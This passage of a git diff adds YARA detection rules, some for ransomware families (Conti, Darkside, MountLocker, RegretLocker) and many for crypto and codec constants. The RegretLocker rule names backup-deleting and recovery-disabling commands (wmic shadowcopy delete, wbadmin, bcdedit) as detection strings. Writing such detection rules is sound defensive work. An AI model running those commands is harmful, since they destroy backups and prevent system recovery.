+    condition:
+        all of ($str*) and all of ($lanstr*)
+}
diff --git a/yara-mikesxrs/chuongdong/ContiV2.yar b/yara-mikesxrs/chuongdong/ContiV2.yar
new file mode 100644
index 0000000..8e9afb1
--- /dev/null
+++ b/yara-mikesxrs/chuongdong/ContiV2.yar
@@ -0,0 +1,19 @@
+rule ContiV2 {
+	meta:
+	  	description = "YARA rule for Conti Ransomware v2"
+		reference = "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/"
+		author = "@cPeterr"
+    		date = "2020-12-15"
+    		rule_version = "v2"
+    		malware_type = "ransomware"
+    		malware_family = "Ransom:W32/Conti"
+		tlp = "white"
+	strings:
+		$str1 = "polzarutu1982@protonmail.com"
+		$str2 = "http://m232fdxbfmbrcehbrj5iayknxnggf6niqfj6x4iedrgtab4qupzjlaid.onion"
+    		$str3 = "expand 32-byte k"
+		$string_decryption = { 8a 07 8d 7f 01 0f b6 c0 b9 ?? 00 00 00 2b c8 6b c1 ?? 99 f7 fe 8d 42 7f 99 f7 fe 88 57 ff }
+    		$compare_size = { ?? ?? 00 00 50 00 }
+	condition:
+		all of ($str*) and $string_decryption and $compare_size
+}
diff --git a/yara-mikesxrs/chuongdong/DarksideRansomware1_8_6_2.yar b/yara-mikesxrs/chuongdong/DarksideRansomware1_8_6_2.yar
new file mode 100644
index 0000000..3cc4871
--- /dev/null
+++ b/yara-mikesxrs/chuongdong/DarksideRansomware1_8_6_2.yar
@@ -0,0 +1,16 @@
+rule DarksideRansomware1_8_6_2 {
+  meta:
+    description = "YARA rule for Darkside v1.8.6.2"
+    reference = "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/"
+    author = "@cPeterr"
+    tlp = "white"
+  strings:
+    $hash_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
+    $gen_key_buff = {89 54 0E 0C 89 44 0E 08 89 5C 0E 04 89 3C 0E 81 EA 10 10 10 10 2D 10 10 10 10 81 EB  10 10 10 10 81 EF 10 10 10 10 83 E9 10 79 D5}
+    $dyn_api_resolve = {FF 76 FC 56 E8 91 FE FF FF 56 E8 ?? 69 00 00 8B D8 FF 76 FC 56 E8 85 FB FF FF 8B 46 FC 8D 34 06 B9 23 00 00 00 E8 5E 02 00 00 AD}
+    $get_config_len = {81 3C 18 DE AD BE EF 75 02 EB 03 40 EB F2}
+    $RSA_1024_add_big_num = {8B 06 8B 5E 04 8B 4E  08 8B 56 0C 11 07 11 5F 04 11 4F 08 11 57 0C}
+    $CRC32_checksum = {FF 75 0C FF 75 08 68 EF BE AD DE FF 15 ?? ?? ?? 00 FF 75 0C FF 75 08 50 FF 15 ?? ?? ?? 00 31 07 FF 75 0C FF 75 08 50 FF 15 ?? ?? ?? 00 }
+  condition:
+    all of them
+}
diff --git a/yara-mikesxrs/chuongdong/MountLocker5_0.yar b/yara-mikesxrs/chuongdong/MountLocker5_0.yar
new file mode 100644
index 0000000..b906f32
--- /dev/null
+++ b/yara-mikesxrs/chuongdong/MountLocker5_0.yar
@@ -0,0 +1,18 @@
+rule MountLocker5_0 {
+	meta:
+		description = "YARA rule for MountLocker v5.0"
+		reference = "http://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/"
+		author = "@cPeterr"
+		tlp = "white"
+	strings:
+		$worm_str = "========== WORM ==========" wide
+		$ransom_note_str = ".ReadManual.%0.8X" wide
+		$version_str = "5.0" wide
+		$chacha_str = "ChaCha20 for x86_64, CRYPTOGAMS by <appro@openssl.org>"
+		$chacha_const = "expand 32-byte k"
+		$lock_str = "[OK] locker.file > time=%0.3f size=%0.3f KB speed=%" wide
+		$bat_str = "attrib -s -r -h %1"
+		$IDirectorySearch_RIID = { EC A8 9B 10 F0 92 D0 11 A7 90 00 C0 4F D8 D5 A8 }
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
diff --git a/yara-mikesxrs/chuongdong/Regretlocker.yar b/yara-mikesxrs/chuongdong/Regretlocker.yar
new file mode 100644
index 0000000..6f91ef9
--- /dev/null
+++ b/yara-mikesxrs/chuongdong/Regretlocker.yar
@@ -0,0 +1,21 @@
+rule regretlocker {
+	meta:
+		description = "YARA rule for RegretLocker"
+		reference = "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/"
+		author = "@cPeterr"
+		tlp = "white"
+	strings:
+		$str1 = "tor-lib.dll"
+		$str2 = "http://regretzjibibtcgb.onion/input"
+		$str3 = ".mouse"
+		$cmd1 = "taskkill /F /IM \\"
+		$cmd2 = "wmic SHADOWCOPY DELETE"
+		$cmd3 = "wbadmin DELETE SYSTEMSTATEBACKUP"
+		$cmd4 = "bcdedit.exe / set{ default } bootstatuspolicy ignoreallfailures"
+		$cmd5 = "bcdedit.exe / set{ default } recoveryenabled No"
+		$func1 = "open_virtual_drive()"
+		$func2 = "smb_scanner()"
+		$checklarge = { 81 fe 00 00 40 06 }
+	condition:
+		all of ($str*) and any of ($cmd*) and any of ($func*) and $checklarge
+}
diff --git a/yara-mikesxrs/clamsrch signatures/signsrch.yar b/yara-mikesxrs/clamsrch signatures/signsrch.yar
new file mode 100644
index 0000000..633c4cc
--- /dev/null
+++ b/yara-mikesxrs/clamsrch signatures/signsrch.yar	
@@ -0,0 +1,22874 @@
+rule libavcodec_G729_cb_gain_1st_8k__16_big_32_
+{
+strings:
+	$a0 = { 0caa26dd060f09790a766a1a0781244b0727139e000105ec016439a40039151c }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox2__32_lil_1024_
+{
+strings:
+	$a0 = { 9410201f5ba70bef7ecfe36980433f397acf61fe7a20c5ee949c88555106fc7279efa7ad35721d4ece635ad5ba3604deef30c49994070c5f7ddbdc18f3efd6a17b2fb5a00536e85994b015ee09d9ffe9860044dc594494efb3cc83bafbcdc3e08141dad1b12a093bc1f197f97bcfe6a5db0d42015befe7e441ffa12506f880e18010c41f7aee9b17a9c67ad3a43058fe7f8bde984e3fe877699292797b9ffa245bc813e18300c4ac253550d75f61eaf754311462634b550d2111685d59c366c873cf633dc034e2ce877ed8d4212b675c81611f077f62f73984301e363b57ebe4a4642f609ccd3ad63546bc1b2d03819e0cf50127b47a849979dfe3a08cf36cba943084105ea93725fe6f6ff41f3bffa16afb8c20748c458f27a2e0d9343ac74e694f88fcdfe84d3e88000eef8d6459358c38458a6643801dfd9b1d72bb8486a5336325e812824e8498808d12b43fd3fee10a28cea59be12752c2a6d5bd5497e4dd55d6c5647066eb4d0b847701a8b6a1a926db841467b5e0b743f0216058d0e58430f05472f46f0653a11aa35547dcdabf5d62b5e61b5668946bca833bd26e2ddb01cfecbad0d3a65c3d80b609a777af4ca3b433d6c87b39952be25e04530e5f616fed816443e72078135eb49b6318de22a11c88d12667b9e8a749807bdab722252d555e37d272521c95d2794c890dc602b48c485bfea41b6b9fb0a4cf15a81c05300ca263df7188cb2fdeb9e9c9c60c53ffee0b174521e3352854b43c29639f29e741ee7c2d1d6e86520450f385661ec60134f3952ca2305008a731130f93601784f973599826a1445c64eca977c852a633ffcd41172ba0a2d9ba7c6f038021089cd95061483fcb65d76bc2abf6a364762634807b5ea725fcd1e6e4e610c72080b6f0cd3b4d84174df8ee31e424087eeb49cb2cae3b6a848878f78ff6605dee7356f77adb5cdd2fc13116a1436ff63054ecfab3fad77f15cc7985ef58de52d15efd2fdb19ce328f7af96a30f83ef002d59a31990ffa42c2b0ebe3a706498ec60c23dab828308280c8f3dedc71b15fd3c81b8a0860c5c0bee8c9a3614df5a8bcfaef2fc7992e8222b470c582894ed9d8bc341c8be6161e3079e93b27a6eaffb0c6b8d9616948b2003fceffb73b28dc085af6da439897e1f72fb71976a49b1c8fa03786dcb1d3a716b793c39feb6e13a73ec6bcc64237511abc2868efd6650352ab776a2d4bed273516d21f822e6e5c09fbf292dbcb29ea5ef59258147f4f58917b698354cca8672648601985eaac4b8cd4603883f9e0230d8a7e386c49d2e60a0c6084b21d7335d847c6b1dcea564cacb381bd3eb0ab0e2387bc3864fab1b5f0b3a25e8f424618fc7a6b030abd89b04f89a59d645e4145a32383035cb93b5d3e7295d7437cd06d7e1edfdf06efc46c6c39a5607170bebf7305768783f1ec2345 }
+
+condition:
+	$a0
+}
+
+	
+rule TEA_encryption_decryption__0xc6ef3720__0x61c88647___32_big_AND_
+{
+strings:
+	$a0 = { c6ef3720[0-20]61c88647 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_422_625__16_big_6480_
+{
+strings:
+	$a0 = { 0c482424306c000018900d482524316c010019900e482624326c02001a900e4c2628327002041a940d4c25283170010419940c4c24283070000418940c50242c3074000818980d50252c3174010819980e50262c327402081a980e5426303278020c1a9c0d5425303178010c199c0c5424303078000c189c0c582434307c001018a00d582534317c011019a00e582634327c02101aa00e5c2638328002141aa40d5c25383180011419a40c5c24383080001418a40c60243c3084001818a80d60253c3184011819a80e60263c328402181aa80e6426403288021c1aac0d6425403188011c19ac0c6424403088001c18ac0c682444308c002018b00d682544318c012019b00e682644328c02201ab012482a24366c06001e9013482b24376c07001f9014482c24386c08002090144c2c28387008042094134c2b28377007041f94124c2a28367006041e9412502a2c367406081e9813502b2c377407081f9814502c2c38740808209814542c303878080c209c13542b303778070c1f9c12542a303678060c1e9c12582a34367c06101ea013582b34377c07101fa014582c34387c081020a0145c2c383880081420a4135c2b38378007141fa4125c2a38368006141ea412602a3c368406181ea813602b3c378407181fa814602c3c3884081820a814642c403888081c20ac13642b403788071c1fac12642a403688061c1eac12682a44368c06201eb013682b44378c07201fb014682c44388c082020b0184830243c6c0c002490194831243d6c0d0025901a4832243e6c0e0026901a4c32283e700e042694194c31283d700d042594184c30283c700c0424941850302c3c740c0824981950312c3d740d0825981a50322c3e740e0826981a5432303e780e0c269c195431303d780d0c259c185430303c780c0c249c185830343c7c0c1024a0195831343d7c0d1025a01a5832343e7c0e1026a01a5c32383e800e1426a4195c31383d800d1425a4185c30383c800c1424a41860303c3c840c1824a81960313c3d840d1825a81a60323c3e840e1826a81a6432403e880e1c26ac196431403d880d1c25ac186430403c880c1c24ac186830443c8c0c2024b0196831443d8c0d2025b01a6832443e8c0e2026b01e483624426c12002a901f483724436c13002b9020483824446c14002c90204c3828447014042c941f4c3728437013042b941e4c3628427012042a941e50362c427412082a981f50372c437413082b982050382c447414082c98205438304478140c2c9c1f5437304378130c2b9c1e5436304278120c2a9c1e583634427c12102aa01f583734437c13102ba020583834447c14102ca0205c3838448014142ca41f5c3738438013142ba41e5c3638428012142aa41e60363c428412182aa81f60373c438413182ba82060383c448414182ca8206438404488141c2cac1f6437404388131c2bac1e6436404288121c2aac1e683644428c12202ab01f683744438c13202bb020683844448c14202cb024483c24006c1800309025483d24016c1900319026483e24026c1a003290264c3e2802701a043294254c3d28017019043194244c3c2800701804309424503c2c00741808309825503d2c01741908319826503e2c02741a08329826543e3002781a0c329c25543d300178190c319c24543c300078180c309c24583c34007c181030a025583d34017c191031a026583e34027c1a1032a0265c3e3802801a1432a4255c3d380180191431a4245c3c380080181430a424603c3c0084181830a825603d3c0184191831a826603e3c02841a1832a826643e4002881a1c32ac25643d400188191c31ac24643c400088181c30ac24683c44008c182030b025683d44018c192031b026683e44028c1a2032b02a484224066c1e0036902b484324076c1f0037902c484424086c200038902c4c44280870200438942b4c432807701f0437942a4c422806701e0436942a50422c06741e0836982b50432c07741f0837982c50442c0874200838982c5444300878200c389c2b54433007781f0c379c2a54423006781e0c369c2a584234067c1e1036a02b584334077c1f1037a02c584434087c201038a02c5c44380880201438a42b5c433807801f1437a42a5c423806801e1436a42a60423c06841e1836a82b60433c07841f1837a82c60443c0884201838a82c6444400888201c38ac2b64434007881f1c37ac2a64424006881e1c36ac2a684244068c1e2036b02b684344078c1f2037b02c684444088c202038b0304800240c6c24003c90314801240d6c25003d90324802240e6c26003e90324c02280e7026043e94314c01280d7025043d94304c00280c7024043c943050002c0c7424083c983150012c0d7425083d983250022c0e7426083e98325402300e78260c3e9c315401300d78250c3d9c305400300c78240c3c9c305800340c7c24103ca0315801340d7c25103da0325802340e7c26103ea0325c02380e8026143ea4315c01380d8025143da4305c00380c8024143ca43060003c0c8424183ca83160013c0d8425183da83260023c0e8426183ea8326402400e88261c3eac316401400d88251c3dac306400400c88241c3cac306800440c8c24203cb0316801440d8c25203db0326802440e8c26203eb036480624126c2a00429037480724136c2b00439038480824146c2c004490384c082814702c044494374c072813702b044394364c062812702a0442943650062c12742a0842983750072c13742b0843983850082c14742c0844983854083014782c0c449c3754073013782b0c439c3654063012782a0c429c36580634127c2a1042a037580734137c2b1043a038580834147c2c1044a0385c083814802c1444a4375c073813802b1443a4365c063812802a1442a43660063c12842a1842a83760073c13842b1843a83860083c14842c1844a83864084014882c1c44ac3764074013882b1c43ac3664064012882a1c42ac36680644128c2a2042b037680744138c2b2043b038680844148c2c2044b03c480c24186c300000903d480d24196c310001903e480e241a6c320002903e4c0e281a70320402943d4c0d281970310401943c4c0c281870300400943c500c2c1874300800983d500d2c1974310801983e500e2c1a74320802983e540e301a78320c029c3d540d301978310c019c3c540c301878300c009c3c580c34187c301000a03d580d34197c311001a03e580e341a7c321002a03e5c0e381a80321402a43d5c0d381980311401a43c5c0c381880301400a43c600c3c1884301800a83d600d3c1984311801a83e600e3c1a84321802a83e640e401a88321c02ac3d640d401988311c01ac3c640c401888301c00ac3c680c44188c302000b03d680d44198c312001b03e680e441a8c322002b0424812241e6c36000690434813241f6c3700079044481424206c38000890444c1428207038040894434c13281f7037040794424c12281e70360406944250122c1e74360806984350132c1f74370807984450142c207438080898445414302078380c089c435413301f78370c079c425412301e78360c069c425812341e7c361006a0435813341f7c371007a044581434207c381008a0445c14382080381408a4435c13381f80371407a4425c12381e80361406a44260123c1e84361806a84360133c1f84371807a84460143c2084381808a8446414402088381c08ac436413401f88371c07ac426412401e88361c06ac426812441e8c362006b0436813441f8c372007b044681444208c382008b000481824246c3c000c9001481924256c3d000d9002481a24266c3e000e90024c1a2826703e040e94014c192825703d040d94004c182824703c040c940050182c24743c080c980150192c25743d080d9802501a2c26743e080e9802541a3026783e0c0e9c0154193025783d0c0d9c0054183024783c0c0c9c00581834247c3c100ca001581934257c3d100da002581a34267c3e100ea0025c1a3826803e140ea4015c193825803d140da4005c183824803c140ca40060183c24843c180ca80160193c25843d180da802601a3c26843e180ea802641a4026883e1c0eac0164194025883d1c0dac0064184024883c1c0cac00681844248c3c200cb001681944258c3d200db002681a44268c3e200eb006481e242a6c4200129007481f242b6c43001390084820242c6c44001490084c20282c7044041494074c1f282b7043041394064c1e282a704204129406501e2c2a744208129807501f2c2b74430813980850202c2c7444081498085420302c78440c149c07541f302b78430c139c06541e302a78420c129c06581e342a7c421012a007581f342b7c431013a0085820342c7c441014a0085c20382c80441414a4075c1f382b80431413a4065c1e382a80421412a406601e3c2a84421812a807601f3c2b84431813a80860203c2c84441814a8086420402c88441c14ac07641f402b88431c13ac06641e402a88421c12ac06681e442a8c422012b007681f442b8c432013b0086820442c8c442014b00f482724336c03001b9010482824346c04001c9011482924356c05001d90114c2928357005041d94104c2828347004041c940f4c2728337003041b940f50272c337403081b981050282c347404081c981150292c357405081d98115429303578050c1d9c105428303478040c1c9c0f5427303378030c1b9c0f582734337c03101ba010582834347c04101ca011582934357c05101da0115c2938358005141da4105c2838348004141ca40f5c2738338003141ba40f60273c338403181ba81060283c348404181ca81160293c358405181da8116429403588051c1dac106428403488041c1cac0f6427403388031c1bac0f682744338c03201bb010682844348c04201cb011682944358c05201db015482d24396c0900219016482e243a6c0a00229017482f243b6c0b002390174c2f283b700b042394164c2e283a700a042294154c2d2839700904219415502d2c39740908219816502e2c3a740a08229817502f2c3b740b08239817542f303b780b0c239c16542e303a780a0c229c15542d303978090c219c15582d34397c091021a016582e343a7c0a1022a017582f343b7c0b1023a0175c2f383b800b1423a4165c2e383a800a1422a4155c2d383980091421a415602d3c3984091821a816602e3c3a840a1822a817602f3c3b840b1823a817642f403b880b1c23ac16642e403a880a1c22ac15642d403988091c21ac15682d44398c092021b016682e443a8c0a2022b017682f443b8c0b2023b01b4833243f6c0f0027901c483424406c100028901d483524416c110029901d4c35284170110429941c4c34284070100428941b4c33283f700f0427941b50332c3f740f0827981c50342c4074100828981d50352c4174110829981d5435304178110c299c1c5434304078100c289c1b5433303f780f0c279c1b5833343f7c0f1027a01c583434407c101028a01d583534417c111029a01d5c35384180111429a41c5c34384080101428a41b5c33383f800f1427a41b60333c3f840f1827a81c60343c4084101828a81d60353c4184111829a81d6435404188111c29ac1c6434404088101c28ac1b6433403f880f1c27ac1b6833443f8c0f2027b01c683444408c102028b01d683544418c112029b021483924456c15002d9022483a24466c16002e9023483b24476c17002f90234c3b28477017042f94224c3a28467016042e94214c3928457015042d942150392c457415082d9822503a2c467416082e9823503b2c477417082f9823543b304778170c2f9c22543a304678160c2e9c215439304578150c2d9c21583934457c15102da022583a34467c16102ea023583b34477c17102fa0235c3b38478017142fa4225c3a38468016142ea4215c3938458015142da42160393c458415182da822603a3c468416182ea823603b3c478417182fa823643b404788171c2fac22643a404688161c2eac216439404588151c2dac21683944458c15202db022683a44468c16202eb023683b44478c17202fb027483f24036c1b00339028484024046c1c00349029484124056c1d003590294c412805701d043594284c402804701c043494274c3f2803701b04339427503f2c03741b0833982850402c04741c0834982950412c05741d0835982954413005781d0c359c2854403004781c0c349c27543f3003781b0c339c27583f34037c1b1033a028584034047c1c1034a029584134057c1d1035a0295c413805801d1435a4285c403804801c1434a4275c3f3803801b1433a427603f3c03841b1833a82860403c04841c1834a82960413c05841d1835a82964414005881d1c35ac2864404004881c1c34ac27643f4003881b1c33ac27683f44038c1b2033b028684044048c1c2034b029684144058c1d2035b02d484524096c210039902e4846240a6c22003a902f4847240b6c23003b902f4c47280b7023043b942e4c46280a7022043a942d4c45280970210439942d50452c0974210839982e50462c0a7422083a982f50472c0b7423083b982f5447300b78230c3b9c2e5446300a78220c3a9c2d5445300978210c399c2d584534097c211039a02e5846340a7c22103aa02f5847340b7c23103ba02f5c47380b8023143ba42e5c46380a8022143aa42d5c45380980211439a42d60453c0984211839a82e60463c0a8422183aa82f60473c0b8423183ba82f6447400b88231c3bac2e6446400a88221c3aac2d6445400988211c39ac2d684544098c212039b02e6846440a8c22203ab02f6847440b8c23203bb0334803240f6c27003f9034480424106c2800409035480524116c29004190354c0528117029044194344c0428107028044094334c03280f7027043f943350032c0f7427083f983450042c1074280840983550052c117429084198355405301178290c419c345404301078280c409c335403300f78270c3f9c335803340f7c27103fa034580434107c281040a035580534117c291041a0355c05381180291441a4345c04381080281440a4335c03380f8027143fa43360033c0f8427183fa83460043c1084281840a83560053c1184291841a8356405401188291c41ac346404401088281c40ac336403400f88271c3fac336803440f8c27203fb034680444108c282040b035680544118c292041b039480924156c2d0045903a480a24166c2e0046903b480b24176c2f0047903b4c0b2817702f0447943a4c0a2816702e044694394c092815702d0445943950092c15742d0845983a500a2c16742e0846983b500b2c17742f0847983b540b3017782f0c479c3a540a3016782e0c469c3954093015782d0c459c39580934157c2d1045a03a580a34167c2e1046a03b580b34177c2f1047a03b5c0b3817802f1447a43a5c0a3816802e1446a4395c093815802d1445a43960093c15842d1845a83a600a3c16842e1846a83b600b3c17842f1847a83b640b4017882f1c47ac3a640a4016882e1c46ac3964094015882d1c45ac39680944158c2d2045b03a680a44168c2e2046b03b680b44178c2f2047b03f480f241b6c33000390404810241c6c34000490414811241d6c35000590414c11281d7035040594404c10281c70340404943f4c0f281b70330403943f500f2c1b74330803984050102c1c74340804984150112c1d7435080598415411301d78350c059c405410301c78340c049c3f540f301b78330c039c3f580f341b7c331003a0405810341c7c341004a0415811341d7c351005a0415c11381d80351405a4405c10381c80341404a43f5c0f381b80331403a43f600f3c1b84331803a84060103c1c84341804a84160113c1d84351805a8416411401d88351c05ac406410401c88341c04ac3f640f401b88331c03ac3f680f441b8c332003b0406810441c8c342004b0416811441d8c352005b045481524216c3900099046481624226c3a000a9047481724236c3b000b90474c172823703b040b94464c162822703a040a94454c15282170390409944550152c2174390809984650162c22743a080a984750172c23743b080b984754173023783b0c0b9c4654163022783a0c0a9c455415302178390c099c45581534217c391009a046581634227c3a100aa047581734237c3b100ba0475c173823803b140ba4465c163822803a140aa4455c15382180391409a44560153c2184391809a84660163c22843a180aa84760173c23843b180ba84764174023883b1c0bac4664164022883a1c0aac456415402188391c09ac45681544218c392009b046681644228c3a200ab047681744238c3b200bb003481b24276c3f000f9004481c24286c4000109005481d24296c41001190054c1d28297041041194044c1c28287040041094034c1b2827703f040f9403501b2c27743f080f9804501c2c28744008109805501d2c29744108119805541d302978410c119c04541c302878400c109c03541b3027783f0c0f9c03581b34277c3f100fa004581c34287c401010a005581d34297c411011a0055c1d382980411411a4045c1c382880401410a4035c1b3827803f140fa403601b3c27843f180fa804601c3c2884401810a805601d3c2984411811a805641d402988411c11ac04641c402888401c10ac03641b4027883f1c0fac03681b44278c3f200fb004681c44288c402010b005681d44298c412011b0094821242d6c450015900a4822242e6c460016900b4823242f6c470017900b4c23282f70470417940a4c22282e7046041694094c21282d70450415940950212c2d74450815980a50222c2e74460816980b50232c2f74470817980b5423302f78470c179c0a5422302e78460c169c095421302d78450c159c095821342d7c451015a00a5822342e7c461016a00b5823342f7c471017a00b5c23382f80471417a40a5c22382e80461416a4095c21382d80451415a40960213c2d84451815a80a60223c2e84461816a80b60233c2f84471817a80b6423402f88471c17ac0a6422402e88461c16ac096421402d88451c15ac096821442d8c452015b00a6822442e8c462016b00b6823442f8c472017b0 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CbB_Table__32_big_1024_
+{
+strings:
+	$a0 = { FFFFFF1DFFFFFF1FFFFFFF21FFFFFF22FFFFFF24FFFFFF26FFFFFF28FFFFFF2AFFFFFF2BFFFFFF2DFFFFFF2FFFFFFF31FFFFFF32FFFFFF34FFFFFF36FFFFFF38FFFFFF3AFFFFFF3BFFFFFF3DFFFFFF3FFFFFFF41FFFFFF42FFFFFF44FFFFFF46FFFFFF48FFFFFF49FFFFFF4BFFFFFF4DFFFFFF4FFFFFFF51FFFFFF52FFFFFF54FFFFFF56FFFFFF58FFFFFF59FFFFFF5BFFFFFF5DFFFFFF5FFFFFFF61FFFFFF62FFFFFF64FFFFFF66FFFFFF68FFFFFF69FFFFFF6BFFFFFF6DFFFFFF6FFFFFFF70FFFFFF72FFFFFF74FFFFFF76FFFFFF78FFFFFF79FFFFFF7BFFFFFF7DFFFFFF7FFFFFFF80FFFFFF82FFFFFF84FFFFFF86FFFFFF88FFFFFF89FFFFFF8BFFFFFF8DFFFFFF8FFFFFFF90FFFFFF92FFFFFF94FFFFFF96FFFFFF97FFFFFF99FFFFFF9BFFFFFF9DFFFFFF9FFFFFFFA0FFFFFFA2FFFFFFA4FFFFFFA6FFFFFFA7FFFFFFA9FFFFFFABFFFFFFADFFFFFFAEFFFFFFB0FFFFFFB2FFFFFFB4FFFFFFB6FFFFFFB7FFFFFFB9FFFFFFBBFFFFFFBDFFFFFFBEFFFFFFC0FFFFFFC2FFFFFFC4FFFFFFC6FFFFFFC7FFFFFFC9FFFFFFCBFFFFFFCDFFFFFFCEFFFFFFD0FFFFFFD2FFFFFFD4FFFFFFD5FFFFFFD7FFFFFFD9FFFFFFDBFFFFFFDDFFFFFFDEFFFFFFE0FFFFFFE2FFFFFFE4FFFFFFE5FFFFFFE7FFFFFFE9FFFFFFEBFFFFFFEDFFFFFFEEFFFFFFF0FFFFFFF2FFFFFFF4FFFFFFF5FFFFFFF7FFFFFFF9FFFFFFFBFFFFFFFCFFFFFFFE0000000000000002000000040000000500000007000000090000000B0000000C0000000E0000001000000012000000130000001500000017000000190000001B0000001C0000001E0000002000000022000000230000002500000027000000290000002B0000002C0000002E0000003000000032000000330000003500000037000000390000003A0000003C0000003E0000004000000042000000430000004500000047000000490000004A0000004C0000004E0000005000000052000000530000005500000057000000590000005A0000005C0000005E0000006000000061000000630000006500000067000000690000006A0000006C0000006E0000007000000071000000730000007500000077000000780000007A0000007C0000007E0000008000000081000000830000008500000087000000880000008A0000008C0000008E0000009000000091000000930000009500000097000000980000009A0000009C0000009E0000009F000000A1000000A3000000A5000000A7000000A8000000AA000000AC000000AE000000AF000000B1000000B3000000B5000000B7000000B8000000BA000000BC000000BE000000BF000000C1000000C3000000C5000000C6000000C8000000CA000000CC000000CE000000CF000000D1000000D3000000D5000000D6000000D8000000DA000000DC000000DE000000DF000000E1 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_hi_filter__flt32___32_lil_60_
+{
+strings:
+	$a0 = { e583a33aad8423bb450c0fbcdf7ea33c7ff74e3d6de3f6bd120a96bef6c7343f120a96be6de3f6bd7ff74e3ddf7ea33c450c0fbcad8423bbe583a33a }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_p_crypt_tab2__8_byt_256_
+{
+strings:
+	$a0 = { b77581d5dccade6623df152662d18377e39776afe9c36b8edab06ebf2bf119b4953448e437945d7b365f655307e289119885d912c19d84eca4d488b8fc2c7928d8dbb31ea2f9d044d7d660ef14f4f631d24146670ae1582743a3f8e0c8ba5a5c806cc6f2e8ad7d040db93cc225bd49638c9f51ce20c5a150922dddbc8d4f9a712f301d733913fb1acb2459fe0596570f1fcf54bef5061bb26dd34d325621330b52e7abeba674004cb17f8299870e5ec08fee6f55f37e0890fab66470474a17a7b5408a38e5683e8b69aa9b42a5100135fd619ee6169c86edcd2effc45ba0aecc4b3b03bb1c2aac0c3f93c7727a09223d4578a9a8eac96af72991f002183a4e7c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_msmpeg4_table0_mv_code__16_lil_2200_
+{
+strings:
+	$a0 = { 0100030005000700030008000c00010002001b0006000b00150002000e000f001400200022002500270029002d004b004d000300220023002500270042004800490050005c0091009f000e0043004c00540056008c0098009a009b00b100b20020012101260133013901a101a401a501a601a701ae01af010b001900850090009b00aa00af000c010e011c011e01330144016001740175017701780149024b025202610265027002520353035503590310001100130034003500360037003d003e000901260156011a021e023a023e028e028f02cf02910494049f04a004a304a604a704ad04ae04c004c404c604c804c904f504f604f704800682068306880689068d068e068f06a206a306a906b006b106b406b506240060006300780079001102440245024702480249024a024b026b02af02b802bb023604760477047e04c804c904ca0414058605870598059d05d905da05200921093b093c093d09420943094409450959095e095f09820983098e098f09c409e709e809e909020d170d180d190d410d420d430d500d5f0d6d0d6e0d6f0d520053005400550056005700c200c300c400c5001e041f04200421048c048d04d304d404d5045c055d057205730574057505de08df08fe08ff089609360a370a080b090b0a0b0b0b320b330b340b350b360b370b380b390bb00bf70bf80bf90bfa0bfb0bfc0bfd0bfe0bff0b5412551256125712701271127212731274127512ab12ac12ad12ae12af12b012b112151316131713bf13c013c113c213c313c413c513c613c713c813c913ca13cb13cc13cd13061a071a281a291a2a1a2b1a2c1a2d1a801abb1abc1abd1ad81ad91a9400950096009700a000a100a200a3003108320833083408350836083708380839083a083b0839093a093b093c093d093e093f09a009a109a209a309a409a509ac11ad11ae11af11b011b111b211b311b411b511b611b711b811b911ba11bb112f135414551456145714581459145a145b145c145d145e145f1460146114621463146414651466146714681469146a146b14de17df17e017e117e217e317e417e517e617e717e817e917ea17eb17ec17ed1740254125422543254425452546254725482549254a254b254c254d254e254f25502551255225532554255525282666276727682769276a276b276c276d276e276f2770277127722773277427752776277727782779277a277b277c277d270335443545354635473560356135623563356435653566356735683569356a356b356c356d356e356f35703571357235733574357535f0033d103e103f1040104110421043104410451046104710481049104a104b104c104d104e104f1050105110521053105410551056105710581059105a105b105c105d105e105f106010611070127112b821b921ba21bb21bc21bd21be21bf21f021f121f221f321f421f521f621f721f821f921fa21fb21fc21fd21fe21ff2140234123422343234423452346234723482349234a234b234c234d234e234f23502351235223532354235523562357235c26882f892f8a2f8b2f8c2f8d2f8e2f8f2f902f912f922f932f942f952f962f972f982f992f9a2f9b2f9c2f9d2f9e2f9f2fa02fa12fa22fa32fa42fa52fa62fa72fa82fa92faa2fab2fac2fad2fae2faf2fb02fb12fb22fb32fb42fb52fb62fb72fb82fb92fba2fbb2f524c534c284e294e2a4e2b4e2c4e2d4e2e4e2f4e304e314e324e334e344e354e364e374e384e394e3a4e3b4e3c4e3d4e3e4e3f4e804e814e824e834e844e854e864e874e884e894e8a4e8b4e8c4e8d4e8e4e8f4e904e914e924e934e944e954e964e974e984e994e9a4e9b4e9c4e9d4e9e4e9f4ea04ea14ea24ea34ea44ea54ea64ea74ea84ea94eaa4eab4eac4ead4eae4eaf4eb04eb14eb24eb34eb44eb54eb64eb74eb84eb94eba4ebb4ebc4ebd4ebe4ebf4ec04ec14ec24ec34ec44ec54ec64ec74ec84ec94eca4ecb4e046a056ae207e307e407e507e607e707e807e907ea07eb07ec07ed07ee07ef07f007f107f207f307f407f507f607f707f807f907fa07fb07fc07fd07fe07ff0700200120022003200420052006200720082009200a200b200c200d200e200f2010201120122013201420152016201720182019201a201b201c201d201e201f2020202120222023202420252026202720282029202a202b202c202d202e202f2030203120322033203420352036203720382039203a203b203c203d203e203f2040204120422043204420452046204720482049204a204b204c204d204e204f2050205120522053205420552056205720582059205a205b205c205d205e205f2060206120622063206420652066206720682069206a206b206c206d206e206f207020712072207320742075207620772078207920ba4cbb4c885d895d8a5d8b5d8c5d8d5d8e5d8f5db05db15db25db35db45db55db65db75db85db95dba5dbb5dbc5dbd5dbe5dbf5d405e415e425e435e445e455e465e475e485e495e4a5e4b5e4c5e4d5e4e5e4f5e505e515e525e535e545e555e565e575e585e595e5a5e5b5e5c5e5d5e5e5e5f5e605e615e625e635e645e655e665e675e685e695e6a5e6b5e6c5e6d5e6e5e6f5e705e715e725e735e745e755e765e775e785e795e7a5e7b5e7c5e7d5e7e5e7f5e805e815e825e